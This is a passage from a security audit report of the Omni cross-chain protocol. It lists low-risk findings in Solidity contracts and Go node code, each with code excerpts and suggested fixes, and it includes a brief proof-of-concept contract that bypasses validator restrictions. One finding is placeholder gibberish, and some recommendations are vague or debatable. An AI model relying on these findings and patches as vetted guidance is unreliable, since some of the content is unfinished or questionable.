The problem here is that nothing takes leap years into consideration. This means that the 10 years calculated is not actually 10 years. This can lead to unexpected behavior down the line.

3.6.38 Misleading / Incorrect documentation regarding the confirmation levels in shardId

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

Inconsistent Use of ShardID Confirmation Level in Documentation vs. Code

- Description

The documentation page mentions the use of `shardId` as

```
event XMsg(
        uint64   destChainId  // Target chain ID as per https://chainlist.org/
@>>>    uint64   shardId      // Shard ID of the XStream (first byte is the confirmation level) // @audit -
↪  states to use first byte (first 8-bits) of 64 bits for confirmation levels
        uint64   offset       // Monotonically incremented offset of XMsg in the XStream
        address  sender       // Sender on source chain, from msg.sender
        address  to           // Target/To address to "call" on destination chain
        bytes    data         // Data to provide to "call" on destination chain
        uint64   gasLimit     // Gas limit to use for "call" on destination chain
        uint256  fees         // Fees paid for the xcall
)
```

uint64 shardId // Shard ID of the XStream (first byte is the confirmation level)

According to this, the confirmation level should be represented by the `first byte of the 64-bit shardId`. However, throughout the protocol, the there are various code instances, where the last byte denotes confirmation levels.

For Example, in PortalRegistry.sol#L122:

```
uint64 shard = dep.shards[i];
@>>> require(shard == uint8(shard) && ConfLevel.isValid(uint8(shard)), "PortalRegistry: invalid shard"); //
↪  @audit - uint8(shard) extracts the last 8 bits
```

Similarly in types.go#L87-L91:

```
// ConfLevel returns confirmation level encoded in the
// @>>> last 8 bits of the shardID. // @audit - only the last 8 bits of the shardId denote the confirmation
↪  level
func (s ShardID) ConfLevel() ConfLevel {
    return ConfLevel(byte(s & 0xFF))
}
```

These examples demonstrate that the `last 8 bits of the shardId` are used to `determine the confirmation level`, which conflicts with the documentation stating that the first byte is used.

- Proof of Concept

We can verify the logic, `shard == uint8(shard)`, indeed uses the last 8-bits.

```
$ chisel
Welcome to Chisel! Type `!help` to show available commands.
 uint64 shardId = 123_456
 shardId
Type: uint64
 Hex: 0x
 Hex (full word): 0x1e240
 Decimal: 123456
 uint8(shardId)
Type: uint8
 Hex: 0x
 Hex (full word): 0x40
 Decimal: 64
```

- Recommendation

Consider correcting the documentation to align with the code's behavior or align code with documentation; whichever is correct, to eliminate any ambiguity in the codebase and improve the clarity and readability of the codebase.

3.6.39 OmniBridgeNative's setup function should be callable only once

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

- Description As part of convince for deployment, the `OmniBridgeNative's` contract exposes a `setup` function callable by the owner of the contract.

But, this function should be callable only once even by owner. Even the owner should not be able to reconfigure the setup values after the setup one completed once. Allow the owner to reconfigure these values will allow for routing the messages targeted to a specific chain to a totally different chain.

Hence, even the owner should be allowed to configure only once.

```
function setup(uint64 l1ChainId_, address omni_, address l1Bridge_) external onlyOwner {
        l1ChainId = l1ChainId_;
        omni = IOmniPortal(omni_);
        l1Bridge = l1Bridge_;
        emit Setup(l1ChainId_, omni_, l1Bridge_);
    }
```

- Recommendation Recommendation is to revise the setup as below to restrict the setup call as one time call. Add the two require statements to achieve the restriction.

```
function setup(uint64 l1ChainId_, address omni_, address l1Bridge_) external onlyOwner {
==>  require(l1Bridge_!=address(0),"Invalid l1Bridge");
==>  require(l1Bridge==address(0),"setup completed");

        l1ChainId = l1ChainId_;
        omni = IOmniPortal(omni_);
        l1Bridge = l1Bridge_;
        emit Setup(l1ChainId_, omni_, l1Bridge_);
    }
```

3.6.40 PUSH0 opcode may not be supported on all chains leading to run time errors for bridging contracts

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

- Description The PUSH0 opcode was introduced in the Ethereum Shanghai hardfork, is designed to push a zero value onto the stack. PUSH0 optimizes this process by reducing the gas cost and bytecode size, making contract execution slightly more efficient.

While PUSH0 is an improvement for Ethereum post-Shanghai, the opcode is not supported by all blockchains. Many other EVM-compatible chains like Polygon, Avalanche, Binance Smart Chain, and others may not yet have adopted the Shanghai hardfork at the time of deployment. As a result, contracts that contain the PUSH0 opcode will fail to deploy or function improperly on these chains.

When a smart contract is compiled using Solidity 0.8.20 or later, it defaults to the EVM version that includes PUSH0. If this bytecode is deployed on chains that do not support the Shanghai hardfork, the deployment will fail.

Both `OmniBridgeL1` and `OmniBridgeNative` are currently using `0.8.24` which makes these contracts vulnerable to PUSH0 related errors.

Code snippet

```
  // SPDX-License-Identifier: GPL-3.0-only
==> pragma solidity 0.8.24;

import ....;

/**
 * @title OmniBridgeL1
 * @notice The Ethereum side of Omni's native token bridge. Partner to OmniBridgeNative, which is
 *         deployed to Omni's EVM.
 */
contract OmniBridgeL1 is OmniBridgeCommon {
  ...
}
    /**
```


- Recommendation

To avoid the issues caused by PUSH0, Compile the contracts with Solidity 0.8.19 or earlier, which do not include the PUSH0 opcode. This ensures compatibility with chains that have not yet adopted the Shanghai hardfork. Using 0.8.19 will help avoid the related issues.

```
pragma solidity 0.8.19;
```

3.6.41 Unjail function lacks caller validation & uses static fee, leading to potential fund loss & price inflexibility

Severity: Low Risk

Context: Slashing.sol#L29, Slashing.sol#L35

- Summary The Slashing contract has two significant issues:

1. No validation for non-validator callers, leading to potential loss of funds, bcz anyone can call it.
2. Hardcoded fee amount that doesn't account for ETH price volatility

Risk Level: Medium-High

- Loss of funds possible for users
- Fee could become prohibitively expensive or too cheap based on ETH price
- Impact

1. **Non-validator Calls:**

```
function unjail() external payable {
    _burnFee();  // Burns 0.1 ETH without validation
    emit Unjail(msg.sender);
}
```

- Any user can call this function and lose 0.1 ETH, and this will be a no-op
- No warning mechanism
- No validation of caller status
- Irreversible fund loss

2. **Fixed Fee Issues:**

The hardcoded fee can't be updated, one way is to upgrade the contract but I think that add more complexity and is not a standard solution for simple changes.

```
uint256 public constant Fee = 0.1 ether;  // Hardcoded value
```

- At ETH=$2,000: Fee = $200 (reasonable)
- At ETH=$20,000: Fee = $2,000 (prohibitive)
- At ETH=$200: Fee = $20 (too low for spam prevention)

Example scenarios:

```
ETH Price   | Fee in USD  | Impact
------------|-------------|------------------
$2,000      | $200        | Reasonable
$20,000     | $2,000      | Too expensive for validators
$200        | $20         | Too cheap, spam possible
```

- Recommendation

I don't know if we can access the state on this chain but if possible add validator verification


```
contract Slashing {
    IValidatorSet public validatorSet;

    modifier onlyValidator() {
        if (address(validatorSet) != address(0)) {
            require(validatorSet.isValidator(msg.sender), "Not a validator");
        }
        _;
    }

    function unjail() external payable onlyValidator {
        _burnFee();
        emit Unjail(msg.sender);
    }
}
```

2. **Make Fee Adjustable:**

```
contract Slashing {
    uint256 public unjailFee;
    address public admin;

    event FeeUpdated(uint256 oldFee, uint256 newFee);

    function updateFee(uint256 newFee) external {
        require(msg.sender == admin, "Only admin");
        emit FeeUpdated(unjailFee, newFee);
        unjailFee = newFee;
    }
}
```

3. **Improve docs:**

```
/**
 * @notice IMPORTANT WARNINGS:
 * 1. This function is ONLY for validators
 * 2. Non-validators will lose funds if they call this
 * 3. The fee is currently set to 0.1 ETH ($XXX at current prices)
 * 4. Fees are non-refundable
 *
 * @dev Fee Considerations:
 * - Current fee: 0.1 ETH
 * - At ETH=$20k, fee would be $2,000
 * - Consider implementing adjustable fee
 */
```

4. **Alternative Fee Structure:**

```
contract Slashing {
    // Use price feed for dynamic fee
    AggregatorV3Interface public ethUsdPriceFeed;
    uint256 public targetFeeUsd = 200; // $200 target

    function getUnjailFee() public view returns (uint256) {
        (, int256 price,,,) = ethUsdPriceFeed.latestRoundData();
        return (targetFeeUsd * 1e18) / uint256(price);
    }
}
```

These changes would:

- Prevent accidental fund loss
- Allow fee adjustment with market conditions
- Maintain spam prevention effectiveness
- Improve user experience
- Reduce need for contract upgrades

3.6.42 Incomplete Validator Set Storage Logic

Severity: Low Risk

Context: OmniPortal.sol#L369-L394

- Summary The current implementation of the `_addValidatorSet` function in the OmniPortal' contract stores total power for all validator sets, even if they are not the latest. This results in unnecessary storage usage, which can lead to increased gas costs without providing additional value, as the contract is designed to only manage the latest validator set.
- Finding Description The function `_addValidatorSet` assigns `valSetTotalPower[valSetId] = totalPower;` for every validator set added, regardless of whether the set is the latest. This is redundant given the contract's focus on only the latest set.

```
    function _addValidatorSet(uint64 valSetId, XTypes.Validator[] calldata validators) internal {
        uint256 numVals = validators.length;
        require(numVals > 0, "OmniPortal: no validators");
        require(valSetTotalPower[valSetId] == 0, "OmniPortal: duplicate val set");

        uint64 totalPower;
        XTypes.Validator memory val;
        mapping(address => uint64) storage _valSet = valSet[valSetId];

        for (uint256 i = 0; i < numVals; i++) {
            val = validators[i];

            require(val.addr != address(0), "OmniPortal: no zero validator");
            require(val.power > 0, "OmniPortal: no zero power");
            require(_valSet[val.addr] == 0, "OmniPortal: duplicate validator");

            totalPower += val.power;
            _valSet[val.addr] = val.power;
        }

@=>     valSetTotalPower[valSetId] = totalPower;

@=>     if (valSetId > latestValSetId) latestValSetId = valSetId;

        emit ValidatorSetAdded(valSetId);
    }
```

- Impact Explanation Toring unnecessary data increases storage usage, which can lead to higher gas costs during transactions.
- Recommendation Modify the logic to only store the total power and update `latestValSetId` when the new validator set ID is greater than the current latest.

```
function _addValidatorSet(uint64 valSetId, XTypes.Validator[] calldata validators) internal {
    uint256 numVals = validators.length;
    require(numVals > 0, "OmniPortal: no validators");
    require(valSetTotalPower[valSetId] == 0, "OmniPortal: duplicate val set");

    uint64 totalPower;
    XTypes.Validator memory val;
    mapping(address => uint64) storage _valSet = valSet[valSetId];

    for (uint256 i = 0; i < numVals; i++) {
        val = validators[i];
        require(val.addr != address(0), "OmniPortal: no zero validator");
        require(val.power > 0, "OmniPortal: no zero power");
        require(_valSet[val.addr] == 0, "OmniPortal: duplicate validator");

        totalPower += val.power;
        _valSet[val.addr] = val.power;
    }

    // Only store and update if this is the latest validator set
+   if (valSetId > latestValSetId) {
        valSetTotalPower[valSetId] = totalPower;
+       latestValSetId = valSetId;
+   }

-   if (valSetId > latestValSetId) latestValSetId = valSetId;

    emit ValidatorSetAdded(valSetId);
}
```

3.6.43 Set multiplier can cause crash

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

- Description Inside the `LazyLoad` function, the following code is executed:

```
    backoff := expbackoff.New(ctx, expbackoff.WithPeriodicConfig(time.Second))
    for !l.isValidator() {
        backoff()
        if ctx.Err() != nil {
            return errors.Wrap(ctx.Err(), "lazy loading canceled")
        }
    }
```

Here, if the node is not yet a validator, backoff logic is applied. Essentially, this means that every second, a check is made to see if the node has become a validator. Each time this check is triggered, the backoff period is expected to increase exponentially through a `multiplier`.

The issue, however, lies in the fact that the `multiplier` is set to `1`:

```
func WithPeriodicConfig(period time.Duration) func(*Config) {
    return func(config *Config) {
        config.BaseDelay = period
        config.Multiplier = 1
    }
}
```

we also see the comment regarding the `multiplier`:

```
    // Multiplier is the factor with which to multiply backoffs after a
    // failed retry. Should ideally be greater than 1.
```

and inside the `expbackoff.New` function:

```
// The backoff function will exponentially sleep longer each time it is called.
```

But since the `multiplier` remains 1. As long as the node is not a validator, the check will run every second without exponential growth in delay, If a node enters this backoff loop while the process to become a validator takes a long time, it will continue checking every second.

- Impact this process could potentially crash the function
- Recommendation consider implementing a fix

3.6.44 Proposer can set random to their own value

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

Description: Inside `PrepareProposal`, we can find the following:

```
    fcr, err := k.startBuild(ctx, appHash, req.Time)
```

If we look inside `startBuild`, we see the usage of `Random`:

```
    attrs := &engine.PayloadAttributes{
        Timestamp:             ts,
        Random:                headHash, // We use head block hash as randao.
        SuggestedFeeRecipient: k.feeRecProvider.LocalFeeRecipient(),
        Withdrawals:           []*etypes.Withdrawal{}, // Withdrawals not supported yet.
        BeaconRoot:            &appHash,
    }
```

As read from the comment, `headHash` is used as `Random` value, which gets passed to the EngineAPI, which will eventually be used as `prevrandao` on the EVM.

The problem here is that the validator that is proposing the block can pick any value for `Random`. Given that there are projects that use `prevrandao`, this validator can leverage this by picking a `Random` value that can lead to him extracting value from said projects.

Recommendation: Handle the way `Random` is used differently.

3.6.45 Any excess fee paid by the user should be refunded

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

- Description During bridging, the caller sends the native tokens to cover the fee for the transaction. The omniPortal offers a function to compute the applicable fee for the transaction taking into consideration the destination chain, amount of data size being passed and the gas limit.

Now, when the bridging is initiated, in the bride function, the amount of native tokens passed is validated to cover the fees related cost as below.

```
    require(
            msg.value >= omni.feeFor(omniChainId, xcalldata, XCALL_WITHDRAW_GAS_LIMIT), "OmniBridge:
            ↪  insufficient fee"
        );
```

The actual fee applicable is the returned value of `omni.feeFor` function with the necessary parameters.

That means, any excess native tokens paid towards the fee should be returned back to the caller during the transaction.

The code logic does not refund any excess native tokens, instead it consumes the whole amount passed in `msg.value`.

```
    omni.xcall{ value: msg.value }(
        omniChainId, ConfLevel.Finalized, Predeploys.OmniBridgeNative, xcalldata, XCALL_WITHDRAW_GAS_LIMIT
    );
```


- Proof of Concept

Omni portal Below is the function exposed to compute the fee applicable for the transaction.

```
function feeFor(uint64 destChainId, bytes calldata data, uint64 gasLimit) public view returns (uint256) {
    return IFeeOracle(feeOracle).feeFor(destChainId, data, gasLimit);
}
```

OmniBridgeL1

```
 function bridgeFee(address payor, address to, uint256 amount) public view returns (uint256) {
        return omni.feeFor(
            omni.omniChainId(),
            abi.encodeCall(OmniBridgeNative.withdraw, (payor, to, amount, token.balanceOf(address(this)) +
            ↪  amount)),
            XCALL_WITHDRAW_GAS_LIMIT
        );
    }
}

 function bridge(address to, uint256 amount) external payable whenNotPaused(ACTION_BRIDGE) {
        _bridge(msg.sender, to, amount);
    }

    /**
     * @dev Trigger a withdraw of `amount` OMNI to `to` on Omni's EVM, via xcall.
     */
    function _bridge(address payor, address to, uint256 amount) internal {
        require(amount > 0, "OmniBridge: amount must be > 0");
        require(to != address(0), "OmniBridge: no bridge to zero");

        uint64 omniChainId = omni.omniChainId();
        bytes memory xcalldata =
            abi.encodeCall(OmniBridgeNative.withdraw, (payor, to, amount, token.balanceOf(address(this)) +
            ↪  amount));

        require(
            msg.value >= omni.feeFor(omniChainId, xcalldata, XCALL_WITHDRAW_GAS_LIMIT), "OmniBridge:
            ↪  insufficient fee"
        );
        require(token.transferFrom(payor, address(this), amount), "OmniBridge: transfer failed");

        omni.xcall{ value: msg.value }(
            omniChainId, ConfLevel.Finalized, Predeploys.OmniBridgeNative, xcalldata, XCALL_WITHDRAW_GAS_LIMIT
        );

        emit Bridge(payor, to, amount);
    }
```

- Recommendation The excess native tokens paid towards the fee should be refunded back to the caller.

```
 function _bridge(address payor, address to, uint256 amount) internal {
        require(amount > 0, "OmniBridge: amount must be > 0");
        require(to != address(0), "OmniBridge: no bridge to zero");

        uint64 omniChainId = omni.omniChainId();
        bytes memory xcalldata =
            abi.encodeCall(OmniBridgeNative.withdraw, (payor, to, amount, token.balanceOf(address(this)) +
            ↪  amount));

==>      uint256 fee = omni.feeFor(omniChainId, xcalldata, XCALL_WITHDRAW_GAS_LIMIT);
        require(
            msg.value >= fee, "OmniBridge: insufficient fee"
        );
        require(token.transferFrom(payor, address(this), amount), "OmniBridge: transfer failed");

 ==>      omni.xcall{ value: fee }(
            omniChainId, ConfLevel.Finalized, Predeploys.OmniBridgeNative, xcalldata, XCALL_WITHDRAW_GAS_LIMIT
        );

  ==>   if(msg.value > fee){
             (bool success,) = payable(msg.sender).call{value: msg.value - fee}("");
          }
        emit Bridge(payor, to, amount);
   }
```

3.6.46 VoteExtLimit check is inconsistent

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

- Description The `voteExtLimit` variable represents the vote extension limit and is referenced in three places within the contract:

`ExtendVote`:

```
if umath.Len(filtered) >= k.voteExtLimit {
    break;
}
```

`VerifyVoteExtension`:

```
} else if umath.Len(votes.Votes) > k.voteExtLimit {
```

`VerifyAggVotes`:

```
if countsPerVal[addr] > k.voteExtLimit {
```

However, there is an inconsistency between these instances. In `ExtendVote`, the condition uses >=, while in `VerifyVoteExtension` and `VerifyAggVotes`, the condition uses >.

- Impact This causes the flow of the voting extensions checking to be slightly inconsistent.
- Recommendation remain consistent when applying the `voteExtLimit` check

3.6.47 Delegate function's existing validator restriction can be bypassed

Severity: Low Risk

Context: Staking.sol#L103-L111

- Summary When allowlist is disabled, malicious contracts can become validators through self-delegation, bypassing the intended restriction of only allowing existing validator self-delegations.
- Finding Description The `delegate()` function is documented to only support "self delegations to existing validators". However, when `isAllowlistEnabled` is false, the function permits any address to become a validator as long as it delegates to itself with sufficient value, including malicious smart contracts.

```
function delegate(address validator) external payable {
    // Passes if allowlist disabled, regardless of validator status
    require(!isAllowlistEnabled || isAllowedValidator[validator], "Staking: not allowed val");
    require(msg.value >= MinDelegation, "Staking: insufficient deposit");
    require(msg.sender == validator, "Staking: only self delegation"); // Contract can pass this
```

- Impact Explanation Impact is low-moderate, because:
- Malicious/vulnerable contracts can become validators
- No guarantee contract validators can properly sign blocks
- Could break consensus if contract validators can't participate
- Contradicts documented behavior of "only existing validators" can self delegate
- Likelihood Explanation Low-moderate likelihood because:
- Requires allowlist to be disabled
- Attack requires significant stake (*MinDelegation*)
- But easily exploitable by creating contract validator
- Proof of Concept

```
contract MaliciousValidator {
    function becomeValidator() external payable {
        require(msg.value >= MinDelegation);
        // Can become validator by self-delegating
        Staking(stakingContract).delegate{value: msg.value}(address(this));
        // Passes all checks:
        // 1. isAllowlistEnabled == false -> first check passes
        // 2. msg.value >= MinDelegation
        // 3. msg.sender (contract) == validator (contract address)
    }

    // Could implement malicious validation logic
    // Or be unable to validate at all
}
```

- Recommendation Add explicit validation to only allow EOA validators, or enforce existing validator check:

```
function delegate(address validator) external payable {
    // Option 1: Force EOA validators
    require(msg.sender == validator && tx.origin == msg.sender,
            "Staking: only EOA self delegation");

    // Option 2: Always enforce existing validator
    require(isExistingValidator[validator],
            "Staking: not existing validator");

    // Rest of checks...
}
```

3.6.48 `evmengine.proto` fails to use the correct way to define a singleton table

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

- Relevant Context

Omni's `octane` module handles communications with an Ethereum execution client via the Engine API. Amongst other things, it's responsible for tracking the head of the execution chain.

- Description

`evmengine.proto` defines an ORM table in which the current execution head is to be stored. It's documentation states the table is a singleton table, hence it should only ever have a single row with `ID == 1`.

While the `octane` module correctly uses only `ID = 1` to read and write to the table, the `evmengine.proto` file defines the table as `cosmos.orm.v1.table`.

Cosmos SDK's ORM documentation shows a different, more secure way of definig a singleton table.

- Recommendation

Singleton tables should be defined via the correct ORM type, in order to future proof the table from future modifications that may incorrectly access the table and generate multiple entries within an intended singleton one.

3.6.49 `InitChain` should crash upon erroring

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

Description: As per the CometBFT Docs:

- Methods `Echo`, `Info`, `Commit` and `InitChain` do not return errors. An error in any of these methods represents a critical issue that CometBFT has no reasonable way to handle. If there is an error in one of these methods, the Application **must** crash to ensure that the error is safely handled by an operator.

If we take a look at the implementation of `InitChain` inside `app/abci.go`:

```
func (l abciWrapper) InitChain(ctx context.Context, chain *abci.RequestInitChain) (*abci.ResponseInitChain,
↪  error) {
    log.Debug(ctx, " ABCI call: InitChain")
    resp, err := l.Application.InitChain(ctx, chain)
    if err != nil {
        log.Error(ctx, "InitChain failed [BUG]", err)
    }

    return resp, err
}
```

We see that it only logs an error and does not crash when encountering an error.

Impact: The operator has not joined the network yet so the only impact is that the operator can't start a node currently until the operator has fixed the error.

Recommendation: Crash when an error is encountered.

3.6.50 Trace when `fuzzy attestation is overriden` by finalized is wrong

Severity: Low Risk

Context: keeper.go#L202-L209

- Description While doing stress test in `e2e`, I spotted the following trace which is wrong showing **!BADKEY=**.

```
2024-10-24 09:33:51 24-10-24 13:33:51.673 DEBU Ignoring vote for attestation with finalized override
↪  !BADKEY=<nil> agg_id=0 chain=mock_1|L attest_offset=52
```

- Recommendation Fix the trace

```
    } else if existing.GetFinalizedAttId() != 0 {
-       log.Debug(ctx, "Ignoring vote for attestation with finalized override", nil,
+       log.Debug(ctx, "Ignoring vote for attestation with finalized override", existing.GetFinalizedAttId(),
            "agg_id", attID,
            "chain", k.namer(header.XChainVersion()),
            "attest_offset", header.AttestOffset,
        )

        return nil
```

3.6.51 Lack of slippage protection in OmniGasPump::fillUp() leads to high gas wastage due to predictable reverts

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

- Impact Users will waste significant gas fees when transactions revert due to oracle fee increases during transaction execution. Since the transaction performs expensive operations before the eventual revert, users lose substantial gas costs that could have been prevented with proper slippage checks.
- Description

OmniGasPump::fillUp() swaps the native ETH sent to it into OMNI.

@notice Swaps msg.value ETH for OMNI and sends it to `recipient` on Omni.

It requires the user to send the `msg.value >= (xfee() + swapAmount)`, where the fee is derived from the price oracle. Before calling `settleUp` to settle the swap, `fillUp` deducts fee and takes pct cut and gets the amount of `OMNI` that will be returned for the swap.

However, the FeeOracle may not return the same price at two different points in time. The `fee = xfee()` may be different when the user calls xfee() to calculate the amount versus when the transaction executes. This leads to an inefficient pattern where:

1. User performs an expensive external call
2. Complex calculations are executed
3. Gas is consumed for state changes
4. Transaction ultimately reverts in OmniGasStation
5. User loses all the gas spent on steps 1-3

- Proof-Of-Concept

1. At time x, oracle returns fee = y (fee returned by oracle at `time x`)
    - User calls `xfee()` to check the current fee rate.
2. User wants to swap amount = z (swapAmount)
3. User sends msg.value = y + z (fee + swap amount)
4. When the user's tx waits in the mempool and awaits execution, the fee required for `fillUp` (xfee) changes.
5. At `time x2`, when the tx enters execution, in the `fillUp` function, oracle returns new fee, where: `y2 (new fee) = y + z (old fee + swap amount)`

- This leads to:
    - `uint256 amtETH = msg.value - f` would calculate to `amtEth = 0`
    - All subsequent calculations execute consuming gas
    - Finally the call to OmniGasStation reverts due to `require(owed > settled)`
    - All gas consumed in the process is lost

The key issue is that the contract performs expensive operations before inevitably reverting, rather than checking fee conditions upfront.

- Recommendation
- Let the user pass in the desired fee & maximum tolerance level,alongside the recipient address, and check if the current `xfee()` returned by oracle is within the tolerance range (`maximum fee the user has agreed to pay`), so that user gets the desired swap.

```
- function fillUp(address recipient) public payable whenNotPaused returns (uint256) {
+ function fillUp(address recipient, uint256 _desiredFee, uint256 _tolerance) public payable whenNotPaused
↪  returns (uint256) {
      ...
        // take xcall fee
        uint256 f = xfee();
+       require(f <= _desiredFee + _tolerance, "FeeOracle: Fee Price Changed beyond tolerance");
        require(msg.value >= f, "OmniGasPump: insufficient fee");
      ...
    }
```

3.6.52 `Voter` is not accounting for `reorgs` when fetching the events

Severity: Low Risk

Context: fetch.go#L224-L237

- Description `XMsg` and `XReceipt` events are attested by validators. This is done by the Attest module which fetch those logs from the source chains (Arbitrum, Base, OP, Eth, etc). Those are fetched by **getXReceiptLogs** and **getXMsgLogs** functions.

The implementation present a `concern` which is that they are not taking `reorgs` into account, thus they could be processing event that doesn't exist anymore and were removed due to a `regors` on the source chain.

As **explicitly explained** in the `types.Log` and `LogFilterer` inferface, the comments in that respect are clear. In your case since you are getting those log using a filter query (rpcClient.FilterLogs(ctx, `ethereum.FilterQuery`), hence you should follow such rule.

```
// Log represents a contract log event. These events are generated by the LOG opcode and
// stored/indexed by the node.
type Log struct {

    ...

    // The Removed field is true if this log was reverted due to a chain reorganisation.
    // You must pay attention to this field if you receive logs through a filter query.
    Removed bool `json:"removed" rlp:"-"`
}
```

```
// LogFilterer provides access to contract log events using a one-off query or continuous
// event subscription.
//
// Logs received through a streaming query subscription may have Removed set to true,
// indicating that the log was reverted due to a chain reorganisation.
type LogFilterer interface {
    FilterLogs(ctx context.Context, q FilterQuery) ([]types.Log, error)
    SubscribeFilterLogs(ctx context.Context, q FilterQuery, ch chan<- types.Log) (Subscription, error)
}
```


- Recommendation Apply the following patches to resolve the issue.

```
func (p *Provider) getXMsgLogs(ctx context.Context, chainID uint64, blockHash common.Hash) ([]xchain.Msg,
↪  error) {
    ...

    var xmsgs []xchain.Msg
    for _, xmsgLog := range logs {
+       // Ignore event which are actually removed due to reorg
+       if xmsgLog.Removed {
+           continue
+       }
+
        e, err := filterer.ParseXMsg(xmsgLog)
        if err != nil {
            return nil, errors.Wrap(err, "parse xmsg log")
        }

        if !expectedShards[e.ShardId] {
            return nil, errors.New("unexpected xmsg shard", "shard", e.ShardId)
        }

        xmsgs = append(xmsgs, xchain.Msg{
            MsgID: xchain.MsgID{
                StreamID: xchain.StreamID{
                    SourceChainID: chain.ID,
                    DestChainID:   e.DestChainId,
                    ShardID:       xchain.ShardID(e.ShardId),
                },
                StreamOffset: e.Offset,
            },
            SourceMsgSender: e.Sender,
            DestAddress:     e.To,
            Data:            e.Data,
            DestGasLimit:    e.GasLimit,
```

```
            TxHash:          e.Raw.TxHash,
            Fees:            e.Fees,
        })
    }

    return xmsgs, nil
}
```

```
func (p *Provider) getXReceiptLogs(ctx context.Context, chainID uint64, blockHash common.Hash)
↪  ([]xchain.Receipt, error) {
    ...

    var receipts []xchain.Receipt
    for _, xreceiptLog := range logs {
+       // Ignore event which are actually removed due to reorg
+       if xreceiptLog.Removed {
+           continue
+       }
+
        e, err := filterer.ParseXReceipt(xreceiptLog)
        if err != nil {
            return nil, errors.Wrap(err, "parse xreceipt log")
        }

        if !expectedShards[e.ShardId] {
            return nil, errors.New("unexpected receipt shard",
                "shard", e.ShardId,
                "src_chain", e.SourceChainId,
                "expected", p.network.StreamsBetween(e.SourceChainId, chainID),
            )
        }

        receipts = append(receipts, xchain.Receipt{
            MsgID: xchain.MsgID{
                StreamID: xchain.StreamID{
                    SourceChainID: e.SourceChainId,
                    DestChainID:   chain.ID,
                    ShardID:       xchain.ShardID(e.ShardId),
                },
                StreamOffset: e.Offset,
            },
            GasUsed:        e.GasUsed.Uint64(),
            Success:        e.Success,
            Error:          e.Err,
            RelayerAddress: e.Relayer,
            TxHash:         e.Raw.TxHash,
        })
    }

    return receipts, nil
}
```

3.6.53 Dfhgfdhfghfghfghfg

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

fghfghfghgfhfgh

3.6.54 Staking module does not implement the beginblock functionality

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

- Description The code below shows the modules called within the `BeginBlocker`:

```
beginBlockers = []string{
    distrtypes.ModuleName,
    slashingtypes.ModuleName,
    stakingtypes.ModuleName,
    evidencetypes.ModuleName,
    attesttypes.ModuleName,
}
```

However, unlike the other modules, `slashing` does not implement a begin block function.

According to the Cosmos documentation from v0.50.3 (the version this protocol uses), the `slashing` module lacks any begin block functionality. This functionality may have existed in earlier versions but appears to have been removed in the version used by Omni.

Ultimately, attempting to call the `BeginBlock` from the slashing module will not work.

- Recommendation Consider mitigating this issue.

3.6.55 No need of `whenNotPaused` modifier on claim function

Severity: Low Risk

Context: OmniBridgeNative.sol#L158

- Description

The `whenNotPaused` modifier on the claim function should be removed as it unnecessarily blocks users from recovering their failed bridge transfers during pauses. Since claimable amounts can only increase from failed withdrawals (`if (!success) claimable[payor] += amount`), users should always have access to recover their own funds. Having `whenNotPaused` forces users' funds to stay locked during bridge pauses, even though these are funds they rightfully own from previous failed transfers. The claim function is purely a recovery mechanism - it doesn't create new risks during pauses and should remain accessible at all times.

- Recommendation

There should be **no** pause modifier on the claim function. However, if a pause feature is necessary, consider implementing a separate pause key, such as `whenNotPaused(ACTION_CLAIM)`.

3.6.56 Changing the `inXMsgOffset` leads to failed cross-chain messages

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

Description: In `OmniPortal.sol`, we have the following function:

```
    /**
     * @notice Set the inbound xmsg offset for a chain and shard
     * @param sourceChainId    Source chain ID
     * @param shardId          Shard ID
     * @param offset           New xmsg offset
     */
    function setInXMsgOffset(uint64 sourceChainId, uint64 shardId, uint64 offset) external onlyOwner {
        _setInXMsgOffset(sourceChainId, shardId, offset);
    }
```

The `inXMsgOffset` variable can be changed with this function.

The problem is that this function can be called while messages are in flight, which will always lead to messages not being delivered and since the Team has acknowledged that there are no retry-mechanisms in place in the current iteration of this project, message will be fail to deliver.

Proof of Concept:

- Alice bridges `message_a` to `destination_chain`
- In order to have the message of Alice be delivered, the `inXMsgOffset` should be `offset + 1`
- During the flight, `setInXMsgOffset` is called, and the `inXMsgOffset` is changed.
- The message of Alice will fail due this check:

```
require(offset == inXMsgOffset[sourceChainId][shardId] + 1, "OmniPortal: wrong offset");
```

- Depending on what the message had as content, it will impact Alice, such as funds lost.

Recommendation: Add an `onlyWhenPaused` modifier to the `inXMsgOffset` and only allow it to be called when the cross-chain protocol is paused. This will prevent failed messages that are in-flight.

3.6.57 Missing excess fee data in XMsg event

Severity: Low Risk

Context: OmniPortal.sol#L151

- Description

The XMsg event in the OmniPortal contract lacks critical fee-related information, specifically the excess fees paid by users above the required fee amount. This omission makes it difficult to track and analyze the actual costs versus charged fees in the cross-chain messaging system.

Here's the current implementation:

```
event XMsg(
    uint64 indexed destChainId,
    uint64 indexed shardId,
    uint64 indexed offset,
    address sender,
    address to,
    bytes data,
    uint64 gasLimit,
    uint256 fee
);
```

The xcall function allows users to send cross-chain messages by paying a fee. The function calculates the required fee using feeFor() and checks if the sent value (msg.value) is greater than or equal to this fee:

```
uint256 fee = feeFor(destChainId, data, gasLimit);
require(msg.value >= fee, "OmniPortal: insufficient fee");
```

However, when emitting the XMsg event, only the calculated fee is included, not the actual amount paid (msg.value):

```
emit XMsg(destChainId, shardId, outXMsgOffset[destChainId][shardId], msg.sender, to, data, gasLimit, fee);
```

This means that any excess payment (msg.value - fee) is not tracked in the event logs. And it would be difficulty in reconciling actual payments versus required fees.

- Recommendation Add excess fee to the event:

```
event XMsg(
    uint64 indexed destChainId,
    uint64 indexed shardId,
    uint64 indexed offset,
    address sender,
    address to,
    bytes data,
    uint64 gasLimit,
    uint256 fee,
    uint256 paidAmount,    // New field
    uint256 excessAmount   // New field
);
```

3.6.58 Off by one error in `Quorum.sol` that may cause problems in different situations

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

- Description In the readMe of the audit its said that
